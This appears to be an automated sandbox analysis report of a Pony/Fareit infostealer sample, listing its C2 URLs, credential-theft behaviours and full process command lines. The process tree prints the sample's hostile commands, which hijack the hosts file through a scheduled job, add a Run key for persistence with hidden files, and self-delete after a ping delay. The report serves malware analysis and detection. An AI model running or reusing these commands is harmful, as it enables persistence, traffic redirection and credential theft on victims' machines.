Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/08/2026, 19:28

General

  • Target
    03232fdd36bbfe7006b2046c24b8a0d69f6fd7d50699a0e037330b56d7ae2153.exe
  • Size 79KB
  • Sample260829-x6m8casvf1
  • SHA256 03232fdd36bbfe7006b2046c24b8a0d69f6fd7d50699a0e037330b56d7ae2153
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • pony

C2
  • http://saholiks.info:1654/ero.php

  • http://copeneed.info:1654/ero.php

Signatures

  • Family: Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\03232fdd36bbfe7006b2046c24b8a0d69f6fd7d50699a0e037330b56d7ae2153.exe
    "C:\Users\Admin\AppData\Local\Temp\03232fdd36bbfe7006b2046c24b8a0d69f6fd7d50699a0e037330b56d7ae2153.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy %WINDIR%\system32\drivers\etc\hosts %WINDIR%\system32\drivers\etc\hosts.sam /Y && at 20:31:00 cmd.exe /c copy %TEMP%\240655250FdOh %WINDIR%\system32\drivers\etc\hosts /Y
      2⤵
      • Drops file in Drivers directory
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\SysWOW64\at.exe
        at 20:31:00 cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240655250FdOh C:\Windows\system32\drivers\etc\hosts /Y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 240655640 /t REG_SZ /d "cmd.exe /c copy %TEMP%\240655250FdOh %WINDIR%\system32\drivers\etc\hosts /Y && attrib +H %WINDIR%\system32\drivers\etc\hosts /f
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4280
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 240655640 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240655250FdOh C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts /f
        3⤵
        • Adds Run key to start application
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        PID:884
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 10 127.0.0.1 > NUL && del "C:\Users\Admin\AppData\Local\Temp\03232fdd36bbfe7006b2046c24b8a0d69f6fd7d50699a0e037330b56d7ae2153.exe"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 10 127.0.0.1
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3008

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        memory/1936-0-0x0000000000400000-0x000000000042C000-memory.dmp

        memory/1936-1-0x00000000005C0000-0x00000000005EC000-memory.dmp

        memory/1936-5-0x0000000000400000-0x000000000042C000-memory.dmp

        memory/1936-7-0x00000000005C0000-0x00000000005EC000-memory.dmp

        memory/1936-13-0x0000000000400000-0x000000000042C000-memory.dmp